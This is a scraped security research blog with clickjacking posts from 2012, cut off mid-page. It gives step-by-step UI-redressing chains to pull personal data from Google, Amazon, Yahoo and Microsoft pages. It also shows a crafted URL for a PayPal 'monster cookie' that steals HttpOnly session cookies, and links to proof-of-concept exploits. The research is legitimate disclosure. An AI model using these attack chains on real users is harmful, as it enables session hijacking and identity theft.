</tbody></table>
<ul><span style="font-family: inherit;">A few important details:</span><ul>
<li><span style="font-family: inherit;"><i>BurpPatchMe</i> works for <u>Burp Suite Free only</u>.
I have included a specific check for it as well as I have used a
technique compatible with that release only. Again, you won't be able to
remove debugging in Burp Suite Pro using this tool. Go and <a href="https://pro.portswigger.net/buy/">buy your own copy</a> of this amazing tool!</span></li>
<li><span style="font-family: inherit;"><i>BurpPatchMe</i> is compiled without debugging info and it has been obfuscated too. A quick </span><span style="font-family: inherit;"><span class="st">skiddie prevention mechanism</span> to avoid abuses</span></li>
<li><span style="font-family: inherit;"><i>BurpPatchMe</i> does not contain any Burp's code, library or resource. </span><span style="font-family: inherit;"><span style="font-family: inherit;">It is your own responsability to accept the EULA agreement and its conditions, before downloading </span></span><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;">Burp Free</span>. </span></span></span><span style="font-family: inherit;">Also, this tool is provided as it is - please do not send emails/comments asking for "features"</span></li>
<li><span style="font-family: inherit;"><span style="font-family: inherit;">Java JDK is required in order to use this tool. All other dependencies are included within the jar </span></span></li>
</ul>
</ul>
<span style="font-family: inherit;">You can download <a href="http://www.ikkisoft.com/stuff/BurpPatchMe.jar">BurpPatchMe</a> here and launch it with:</span><br />
<blockquote class="tr_bq">
<span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;">$ java -jar BurpPatchMe.jar -file burpsuite_free_v1.5.jar </span> </span> </span></blockquote>
Long life Burp Suite and happy extensions! Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-732257695511948254.post-57239392864877356562012-12-31T13:06:00.000-08:002013-12-11T09:21:38.823-08:00UI Redressing Mayhem: Identification Attacks and UI Redressing on Google Chrome<div style="text-align: justify;">
<div style="text-align: justify;">
Today I'm going to disclose a series of UI Redressing issues that could be exploited in order to extract information that may help an attacker to <i>identify</i> a victim-user whenever anonymity is a critical requirement. Moreover, a new extraction method, which has been successfully applied against Google Chrome, will be presented. Google's web browser disallows cross-origin drag&drop and what I'm introducing here is a completely different approach to achieve the extraction of potentially sensitive data.<br />
<br />
<h3>
Identification Attacks</h3>
<br />
I found that several world-renowned web applications lack protection of web resources from UI Redressing attacks, thus revealing data that can be abused to disclose a user's identity. An <i>identification attack</i> could be successfully performed by exploiting a UI Redressing flaw affecting web resources that include, for example, the name or the e-mail address of the victim.<br />
<span style="color: black;"><br /></span><span style="color: black;">A series of vulnerabilities are presented below in order to exemplify some of these attacks. The first issue affects a Google's web application: a</span>n authenticated Google user can be attacked by abusing a UI Redressing vulnerability related to the <b>support.google.com</b> domain. As shown in Figure 1, no X-Frame-Options header is adopted, thus allowing the cross-domain extraction of personal data such as:</div>
</div>
<div style="text-align: justify;">
<ul>
<li>Victim's e-mail address;</li>
<li>Victim's first and last name;</li>
<li>Victim's profile picture URL.</li>
</ul>
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc-maG9MQhQgsrrr1rkBcPk11fxkHsGq-Vl6oHUPS-KzAoqYaOU-FCLT15WrJxj1tnju1TfdyrXnd5kiWXs1YrjpdXEpCkevy99lns1KizUca8bk2prSXYTs-7ZmM1yB7nL4N5nUrg5Qrr/s1600/support_google.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="264" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc-maG9MQhQgsrrr1rkBcPk11fxkHsGq-Vl6oHUPS-KzAoqYaOU-FCLT15WrJxj1tnju1TfdyrXnd5kiWXs1YrjpdXEpCkevy99lns1KizUca8bk2prSXYTs-7ZmM1yB7nL4N5nUrg5Qrr/s1600/support_google.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 1 - Google Support vulnerable to UI redressing attacks.</td></tr>
</tbody></table>
<br />
<div style="text-align: justify;">
A Proof of Concept exploit can be downloaded <a href="https://github.com/daath1/nibblesec/tree/master/ui_redressing_mayhem/google_support">here</a>. The following is a video demonstrating the attack:</div>
<br />
<iframe allowfullscreen="allowfullscreen" frameborder="0" height="360" src="http://www.youtube.com/embed/aFimqSgnv3s" width="640"></iframe>
<br />
<div style="text-align: justify;">
<br />
Similar vulnerabilities have been found on other popular web applications. The following is a list of identified vulnerable web resources, exposing user's data:<br />
<br />
<b>Microsoft Profile</b> (First name, last name, e-mail address, etc - Figure 2)<br />
<ul>
<li><b>https://profile.live.com/home/Services/?view=manage&productid=connectedtoprofile</b></li>
</ul>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWuuo2PNz3tou3NjIdPSytGQmrsv3wgqD9RuaBQqul435R3k1OElh4oo35V1O8TbguSs2uipVKjUegK5QDKu8ChBrHoIfA0I1LvoTE9C5OcgKrRKrkRxn6n36ruKf3NBcDGqfsagMybNNk/s1600/microsoft.png" style="margin-left: auto; margin-right: auto;"><img border="0" height="289" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWuuo2PNz3tou3NjIdPSytGQmrsv3wgqD9RuaBQqul435R3k1OElh4oo35V1O8TbguSs2uipVKjUegK5QDKu8ChBrHoIfA0I1LvoTE9C5OcgKrRKrkRxn6n36ruKf3NBcDGqfsagMybNNk/s640/microsoft.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 2 - Microsoft Profile web resource vulnerable to UI Redressing attacks.</td></tr>
</tbody></table>
<br />
<b>Yahoo!</b> (e-mail address, first name, birth date, sex, etc - Figure 3):<br />
<ul>
<li><b>http://profile.yahoo.com/y/edit/</b></li>
</ul>
</div>
<ol>
</ol>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTpUQGYEfdCJEgA0ThfHQ7LyOTPbVSLYbTa7Z65HKsg9J_k-SxcnPGzf1-YWrBSmZ13_HGHMN6jBy26P_Q37dO_EWVx5Nt6t2tuV7eCpc_0II6Ae-eR7usQWOwn0h-CXQOYaSdZpfltG8q/s1600/yahoo.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTpUQGYEfdCJEgA0ThfHQ7LyOTPbVSLYbTa7Z65HKsg9J_k-SxcnPGzf1-YWrBSmZ13_HGHMN6jBy26P_Q37dO_EWVx5Nt6t2tuV7eCpc_0II6Ae-eR7usQWOwn0h-CXQOYaSdZpfltG8q/s1600/yahoo.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 3 - Yahoo! web resource vulnerable to UI Redressing attacks.</td></tr>
</tbody></table>
<h3>
</h3>
<h3>
Beyond the iframe-to-iframe extraction method</h3>
<div style="text-align: justify;">
<br />
The Google Chrome web browser seems to have defeated any extraction methods, denying the use of the view-source handler and disallowing <i>cross-origin</i> drag&drop. Despite these adverse conditions, I identified some attack scenarios where a UI Redressing issue could be still performed in order to extract sensitive data. Once again, the method is extremely simple. Instead of a cross-origin drag&drop, the victim is tricked to perform a <i>same-origin</i> action, where the dragged content belongs to a vulnerable web page of the targeted application and the "dropper" is a form (text area, input text field, etc.) located on the <u>same domain</u>. Using a site's functionality that <i>allow</i>s publishing externally-facing content, it is still possible to extract information. Under these circumstances, Chrome will not reasonably deny the same-origin drag&drop, thus inducing the victim to involuntary <u>publish</u> sensitive data. As a matter of fact, the attacker is exploiting a subsequent clickjacking vulnerability on the same domain, which causes the publication of the personal information. I refer to this kind of attack chain as a "bridge" that allows the attacker to <i>move</i> sensitive data <i>from being private to public, while remaining on the same domain</i>. Then, the attacker can simply access the (now) public information to obtain the extracted data. It should be outlined that the technique requires <u>two</u> vulnerabilities: a web resources that is not protected by the X-Frame-Options (or uses a weak frame-busting code) and a site's functionality that is affected by clickjacking.<br />
<br />
The following list summarizes a series of functionalities that could be abused to extract the sensitive data:<br />
<ul>
<li>Forum's post mechanism;</li>
<li>"comment this item" functionalities;</li>
<li>Public profile information updating function (or any "update function" that involves public available data - e.g. administrative functions that cause the updating of the web site's content);</li>
<li>Messaging functionalities (e.g. from the victim to the attacker);</li>
</ul>
The proposed method has been successfully applied against Google Chrome version 23.0.1271.97, targeting the Amazon web application. Amazon exposes a series of web resources that include user's data - such as the name, e-mail address, mobile number and "address book" details - that are not protected with both X-Frame-Options header or any frame-busting mechanism. As an example, the following vulnerable URL includes Amazon's user first name, last name and e-mail address:<br />
<ul>
<li><b>https://www.amazon.com/gp/css/account/info/view.html?ie=UTF8&ref_=ya_20</b></li>
</ul>
<span style="color: red;"><span style="color: black;">A second issue on the comment function - our "bridge" - can be abused to publish the user's information as a comment for an Amazon item (e.g. a book), previously known by the attacker, and whose comments are "monitored". </span></span>The following steps summarize the exploitation phases:<br />
<ol>
<li>The exploit frames both the vulnerable URL and the comment form of a attacker-chosen Amazon's book;</li>
<li>The victim is triggered to drag his data and drop the information to the framed comment form;</li>
<li>A clickjacking attack is then performed against the "Post" mechanism, in order to publish the dropped data;</li>
<li>At that point the attacker can access all personal details by simply visualizing the submitted comment of the Amazon's item. </li>
</ol>
The exploit code can be download <a href="https://github.com/daath1/nibblesec/tree/master/ui_redressing_mayhem/amazon">here</a>, while the following is a video of the described attack:</div>
<br />
<iframe allowfullscreen="allowfullscreen" frameborder="0" height="360" src="http://www.youtube.com/embed/UGE23lIIBoU" width="640"></iframe><br />
<br />
<b>Update - media coverage:</b> <a href="http://threatpost.com/chrome-clickjacking-vulnerability-could-expose-user-information-google-amazon-010213/77358">http://threatpost.com/chrome-clickjacking-vulnerability-could-expose-user-information-google-amazon-010213/77358</a><br />
<br />Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-732257695511948254.post-21382318358665788442012-12-19T03:15:00.000-08:002012-12-19T03:15:30.403-08:00UI Redressing Mayhem: HttpOnly bypass PayPwn style<div style="text-align: justify;">
<div style="text-align: justify;">
In the previous post, a new cross-domain extraction method - affecting the latest version of the Mozilla Firefox browser - has been presented. The <i>iframe-to-iframe technique</i> was successfully used in a UI Redressing attack affecting LinkedIn. Today, I'm introducing an instance of the aforementioned method that involves a known Apache Web Server security issue, in order to steal session cookies that are protected by <a href="https://www.owasp.org/index.php/HttpOnly">HttpOnly</a> flag, thus allowing the attacker to perform <a href="https://www.owasp.org/index.php/Session_hijacking_attack">Session Hijacking</a> attacks. A new attack targeting PayPal systems will be also presented.<br />
<br /></div>
<h3>
CVE-2012-0053: HttpOnly bypass and beyond</h3>
<br />
In January 2012 - even if the Apache defect was <a href="http://stackoverflow.com/questions/2541418/how-to-delete-a-large-cookie-that-causes-apache-to-400">known</a> and exploited for a while - <a href="http://www.the-wildcat.de/" target="_blank">Norman Hippert</a>
disclosed <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0053" target="_blank">CVE-2012-0053</a> bug affecting the Apache Web Server. The software was not able to correctly restrict an <a href="http://people.apache.org/~trawick/2.0-CVE-2012-0053-r1234837.patch">header field</a> information disclosure in case of overlong or malformed HTTP requests. The vulnerability could be effectively combined with a <a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29">Cross-Site Scripting</a> attack to bypass the protection mechanism introduced by the HttpOnly flag and steal any session token stored as cookies value. Infact, an XSS vector could manipulate the <a href="https://developer.mozilla.org/en-US/docs/DOM/document.cookie">document.cookie</a> object to set an overlong cookie field, and forward a malformed request to the affected Apache Web Server with the intention to trigger the error message and <i>extract</i> the desiderated session cookies. The Apache bug can be abused in a series of attack scenarios such as the following:<br />
<ul>
</ul>
<ul>
<li style="text-align: left;">Bypassing HttpOnly flag with a XSS vulnerability on the same domain that is affected by the CVE-2012-0053;</li>
<li style="text-align: left;">Bypassing the limitation introduced by cookie <a href="http://en.wikipedia.org/wiki/HTTP_cookie#Domain_and_Path">path</a> whereas the XSS vulnerability affects a web resources that resides <i>outside</i> the defined path itself;</li>
<li style="text-align: left;"><span style="background-color: white;">Bypassing HttpOnly flag if a XSS vulnerability is found on <i>any</i> subdomains of the host that is affected by the Apache disclosure issue, if exploited in conjunction with a UI Redressing attack - that allows the cross-domain content extraction of the information included in the triggered Apache error message.</span></li>
</ul>
<ul></ul>
It should also be noted that the Apache Web Server is often used as a <i>reverse proxy</i> configuration. As a result, any session object on any server-side technology, could be attacked with the described vectors.<br />
<br /></div>
<h3 style="text-align: justify;">
Smashing PayPal for Fun but.. NO Profit</h3>
<h3 style="text-align: justify;">
</h3>
<h3 style="text-align: justify;">
</h3>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: justify;">
<div style="text-align: justify;">
During my security research on UI Redressing attacks I found multiple PayPal subdomains (e.g. <b>https://b.stats.paypal.com</b>) affected by the Apache disclosure bug as detailed in Figure 1 and Figure 2.<br />
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEPcqhvKkSOIMhyphenhyphenaNj_v677NW05Ikppo1pj79-S3EMOHPuWQ63e9QYFF-MRZoJeeSqBoqkUOfQXKNUym8O78AsgC0jO1UdNuLrygFHtpVxluspTCSWTTg1DIna_33Ny3iYJOiGH9aCSqAT/s1600/resp.png" style="margin-left: auto; margin-right: auto;"><img border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEPcqhvKkSOIMhyphenhyphenaNj_v677NW05Ikppo1pj79-S3EMOHPuWQ63e9QYFF-MRZoJeeSqBoqkUOfQXKNUym8O78AsgC0jO1UdNuLrygFHtpVxluspTCSWTTg1DIna_33Ny3iYJOiGH9aCSqAT/s640/resp.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 1 - HTTP request with the overlong cookie.</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7ecSPx_Bj6wm1wkkDQXYgiYJ_U0of6O43Y0TNmYjzlrh6MtC7Da-VoxPw6nScU8fqFcNoMnlK9Md0Cm5z9WH7RLcDy3D8feDdRc7yafAsIC9mLBKDVWqVuZlALRO6Jq6gf7IUPgwII-ZZ/s1600/req.png" style="margin-left: auto; margin-right: auto;"><img border="0" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7ecSPx_Bj6wm1wkkDQXYgiYJ_U0of6O43Y0TNmYjzlrh6MtC7Da-VoxPw6nScU8fqFcNoMnlK9Md0Cm5z9WH7RLcDy3D8feDdRc7yafAsIC9mLBKDVWqVuZlALRO6Jq6gf7IUPgwII-ZZ/s640/req.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 2 - Apache error message with the disclosure of the malformed Cookie header.</td></tr>
</tbody></table>
<br />
Despite in the first instance the bug could appear as useless, I found that the PayPal application - www.paypal.com - delivers the session cookies defining the domain to <b>.paypal.com</b> (Figure 3 and Figure 4).<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbdDd4qmLp4nHID2yWYvJzVuivr___O0zClfT_ZJiwVWBRLNFoNu24DmXpMUo3sIN41a29rubwKQxXgF-I6_voN8tAvCj4O6xJXL5MlcDpacXBtO5eNLiscfqKnUrl2heeRVq3HxLlcVQg/s1600/sess_1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbdDd4qmLp4nHID2yWYvJzVuivr___O0zClfT_ZJiwVWBRLNFoNu24DmXpMUo3sIN41a29rubwKQxXgF-I6_voN8tAvCj4O6xJXL5MlcDpacXBtO5eNLiscfqKnUrl2heeRVq3HxLlcVQg/s640/sess_1.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 3 - Post-authentication cookies delivery.</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2dlE5rn6N_r1BmhS17qmdY8rIrmzH5W4VDWfbWERPJ6uK45WiFSe9A65FnGKwUeZtX2ag8VDtD7bAb6ttbo-y0GGW9kWIa-gi4CnCA2Zqg8-BQrvVVMd5-v87WzfKGw4O_UGviadTYgTP/s1600/sess_2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2dlE5rn6N_r1BmhS17qmdY8rIrmzH5W4VDWfbWERPJ6uK45WiFSe9A65FnGKwUeZtX2ag8VDtD7bAb6ttbo-y0GGW9kWIa-gi4CnCA2Zqg8-BQrvVVMd5-v87WzfKGw4O_UGviadTYgTP/s640/sess_2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 4 - Cookies delivered to the personal.paypal.com subdomain.</td></tr>
</tbody></table>
<div style="text-align: justify;">
<br />
The highlighted security issues could be abused to attack authenticated PayPal users, implementing the mentioned UI Redressing attacks combined with the cookie disclosure bug. But.. I had a problem: I had <b>no</b> XSS vulnerability on any PayPal web application - not that there're not! I was able to circumnavigate the limitation identifying another vulnerability on a different PayPal subdomain, that allowed me to define a <i>monster cookie</i> with a single HTTP request. As first, please note the following URL:</div>
<ul>
<li style="text-align: left;"><b>https://history.paypal.com/helpcenter/script/pphc_rating.js.jsp?locale=&_dyncharset=UTF-8&countrycode=CA&cmd=_<span style="background-color: yellow;"><span style="color: red;">AAAAKKKKKKAAAAKKKKKK[..very long string here...]KKKKKKAAAAKKKKKKAAAAKKKKKK</span></span>&serverInstance=9002&no_strip= </b></li>
</ul>
As detailed in Figure 5, the navigation of the above URL involves the setting of the cookie named <b>navcmd </b>and then<b> </b>a bit of <i>client-side black magic</i> defines two new cookie fields named <b>s_sess</b> and <b>s_pers</b> (Figure 6) that complete the desiderated malformed HTTP request.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgneCM6ueq_Kx4VkYMF05MthXgH-bFNMG4nC7Uyzf5nLtJW7YEMt_WTJs2dnuXqT07dlDW0enITujodiDY8uDwkYxyjd81ImSe3yw3GGG9Mogd7NuVj14jYmiy_Yjq1pjAlHdc2EM_Q9UDL/s1600/monster_1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgneCM6ueq_Kx4VkYMF05MthXgH-bFNMG4nC7Uyzf5nLtJW7YEMt_WTJs2dnuXqT07dlDW0enITujodiDY8uDwkYxyjd81ImSe3yw3GGG9Mogd7NuVj14jYmiy_Yjq1pjAlHdc2EM_Q9UDL/s640/monster_1.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 5 - Cookie defined with attacker-controlled input.</td></tr>
</tbody></table>
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTj69WA5bSfhSCqFgulDhOD0IjsZ6go2TVlylzO0YTnF6DP-aaKC3Nhkpj7IHVF8wvUsXrEF_NfpOMQGZ8zbTGjbbvleTDcuoOcAIt3QIcUgs5Li_5Bkm_9bPjSgsXIueR3SpwyMAPLpsT/s1600/monster_2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTj69WA5bSfhSCqFgulDhOD0IjsZ6go2TVlylzO0YTnF6DP-aaKC3Nhkpj7IHVF8wvUsXrEF_NfpOMQGZ8zbTGjbbvleTDcuoOcAIt3QIcUgs5Li_5Bkm_9bPjSgsXIueR3SpwyMAPLpsT/s640/monster_2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 6 - Final monster cookie.</td></tr>
</tbody></table>
<h3 style="text-align: justify;">
7350PayPwn</h3>
<h3 style="text-align: justify;">
</h3>
<h3 style="text-align: justify;">
</h3>
<div style="text-align: justify;">
The exploitation is now trivial. The following are the logical steps implemented by the Proof of Concept exploit:
<br />
<ol>
<li>The exploit triggers the victim to open an <i>under pop</i> (Figure 7) web page that generates the monster cookie - with <b>domain=.paypal.com</b> - involving the <b>history.paypal.com</b> application;</li>
<li>The <b>https://b.stats.paypal.com</b> is then framed thus inducing the forward of a malformed HTTP request that triggers the disclosure of the Cookie header, containing the PayPal account's session cookies;<b><br /></b></li>
<span style="color: red;"> </span>
<li>The malicious page allows the victim to play the d&d game with the extraction of the secret session cookies.</li>
</ol>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBsx_D_5qwSQcHo0H30-OX_QcFnoCdFJb_miETE72i3WTtP1p1uqCWFy0THA3qe2xhmo_HRbHAFcUNIC3x7UzUnCA_p6PoY6CDwon7cRPSOI7yp0MFeN3Jn8jJ71FWkji9g6w2KBACRkJB/s1600/pop_under.png" style="margin-left: auto; margin-right: auto;"><img border="0" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBsx_D_5qwSQcHo0H30-OX_QcFnoCdFJb_miETE72i3WTtP1p1uqCWFy0THA3qe2xhmo_HRbHAFcUNIC3x7UzUnCA_p6PoY6CDwon7cRPSOI7yp0MFeN3Jn8jJ71FWkji9g6w2KBACRkJB/s640/pop_under.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 7 - Pop-under page with the navigation of the monster cookie's generation URL.</td></tr>
</tbody></table>
</div>
<div style="text-align: justify;">
<br />
The
attacker now holds the cookies that can be used to perform a
Session Hijacking attack against the victim's PayPal account. A working Proof of Concept has been developed and can be download <a href="https://github.com/daath1/nibblesec/tree/master/ui_redressing_mayhem/paypal">here</a>. The following is a video that illustrates the described attack:<br />
<br /></div>
<div style="text-align: justify;">
</div>
<iframe allowfullscreen="allowfullscreen" frameborder="0" height="360" src="http://www.youtube.com/embed/b6QL9m5hkVo" width="640"></iframe>
Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-732257695511948254.post-46618280014641229322012-12-17T03:49:00.001-08:002012-12-18T15:31:29.465-08:00UI Redressing Mayhem: Firefox 0day and the LeakedIn affair<div style="text-align: justify;">
In the past weeks I worked on <a href="http://en.wikipedia.org/wiki/Clickjacking" target="_blank">UI Redressing</a> exploitation methods. The <b>UI Redressing Mayhem </b>series is going to illustrate the results of my research, presenting 0day exploiting techniques and several vulnerabilities that involve high-profile web applications. Each post of the series will also provide detailed information about the vulnerabilities and techniques, together with working Proof-of-Concept exploits.<br />
<br />
The following article will detail a previously unknown Mozilla Firefox <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=822215">vulnerability</a> that affects the latest version (v.17.0.1) of the Mozilla web browser and allows malicious users to perform cross-domain extraction of sensitive data via UI Redressing vectors.<br />
<br /></div>
<h3 style="text-align: justify;">
It was a dark and stormy night...</h3>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
My security research on UI Redressing exploitation techniques grounds its roots in a web application penetration test where I was asked to exploit a UI Redressing bug with the explicit constraints to target Mozilla Firefox users. My objective was to achieve the cross-domain <a href="http://html5sec.org/#119" target="_blank">content extraction</a> of an anti-CSRF token, in order to trigger the update of the victim's profile e-mail address: the powerful double drag&drop method was found to be appropriate in that context. To the best of my knowledge, the method was first introduced by <a href="http://blog.skepticfx.com/2011/09/facebook-graph-api-access-token.html" target="_blank">Ahamed Nafeez</a> and is based on the possibility to perform a drag&drop action between a <i>framed</i> web page, which displays the "sensitive" contents and is not protected by the <span style="color: black;"><a href="https://developer.mozilla.org/en-US/docs/The_X-FRAME-OPTIONS_response_header" target="_blank">X-Frame-Options</a> header, and the <i>framing</i> page (the "dropper" page), which</span> receives and stores the extracted content. The <a href="http://en.wikipedia.org/wiki/View-source_URI_scheme" target="_blank">view-source</a> handler is used here to bypass any <a href="http://en.wikipedia.org/wiki/Framekiller" target="_blank">framebusting</a> code.<br />
<br />
The main problem with my exploit development, during the penetration test, was that the drag&drop method was recently <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=605991" target="_blank">killed</a> by Mozilla. An interesting solution to the Mozilla fix is the <a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html" target="_blank">fake CAPTCHA</a> method that was introduced by <a href="http://blog.kotowicz.net/" target="_blank">Krzysztof Kotowicz</a> — and demonstrated to be effective against <a href="http://blog.kotowicz.net/2012/08/how-facebook-lacked-x-frame-options-and.html" target="_blank">Facebook</a> and <a href="http://blog.kotowicz.net/2011/11/google-ebookstore-content-extraction.html" target="_blank">Google eBookstore</a> — but I chose the hard way and <span style="color: red;"><span style="color: black;">tried to bring</span> </span>the drag&drop method back to the masses: so please welcome the <i>iframe-to-iframe cross-domain extraction method</i>.<br />
<br />
<h3>
The iframe-to-iframe extraction method</h3>
<br />
The extraction method is extremely simple: instead of performing a drag&drop action of sensitive data, from a framed vulnerable web page to the framing one (attacker-controlled), the victim is tricked to visit a malicious html page that includes <i>two</i> iframes: the vulnerable page - where the sensitive content resides - and <i>another</i> attacker's page that is used to drop the extracted content (Figure 1). Firefox is not able to block this kind of attack because no check on cross-domain drag&drop between iframes is performed. As mentioned before, the method was tested against Mozilla Firefox version 17.0.1 - the latest stable release at the time of writing. The iframe-to-iframe technique was also tested against Google Chrome but the browser has been proved robust to the proposed attack.<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi5k2d4Hm4N_x1gRtvIYsu3DZMea4RMyQugdH9lJO-trBk52bzcydJ3Sh9qmfkgUTyHjtdOfnGyVUQcRzhSZtsb3w42aOygrkxXvZgc3q_AYIQxa971VXPmesbgcDmBeEZk7xK55u2IkoM/s1600/dnd.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="102" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi5k2d4Hm4N_x1gRtvIYsu3DZMea4RMyQugdH9lJO-trBk52bzcydJ3Sh9qmfkgUTyHjtdOfnGyVUQcRzhSZtsb3w42aOygrkxXvZgc3q_AYIQxa971VXPmesbgcDmBeEZk7xK55u2IkoM/s640/dnd.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Figure 1 - iframe-to-iframe d&d extraction method.</td></tr>
</tbody></table>
The iframe-to-iframe method re-introduces the possibility to abuse the Firefox drag&drop mechanism to perform a cross-domain data extraction. Let me now introduce an high-profile vulnerability and attack that targets the <b>LinkedIn</b> application implementing the proposed method.<br />
<br />
<h3>
All your LinkedIn accounts are belong to us</h3>
</div>
<div style="text-align: justify;">
<div style="text-align: justify;">
<br />
LinkedIn implements a <i>stateless</i> anti-<a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29" target="_blank">CSRF</a> mechanism that associates tokens to the HTTP requests that result in a change of the remote application state, such as the update of a user's profile information (e.g. job title or the login e-mail address). A stateless anti-CSRF method is generally based on a secret token, delivered as a cookie parameter, and a token which is included in every state-changing HTTP request: the remote web application considers as <i>genuine</i> exclusively the HTTP requests that have the same token value for both the cookie and HTTP parameter. Otherwise, a request is considered untrusted and it is not computed. The LinkedIn's anti-CSRF mechanism involves a cookie parameter called <b>JSESSIONID</b> and an HTTP parameter named <b>csrfToken</b> in order to store the secret tokens (Figure 2). A stateless mechanism can be easily bypassed with well known web hacking techniques.</div>
<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: right;"><tbody>
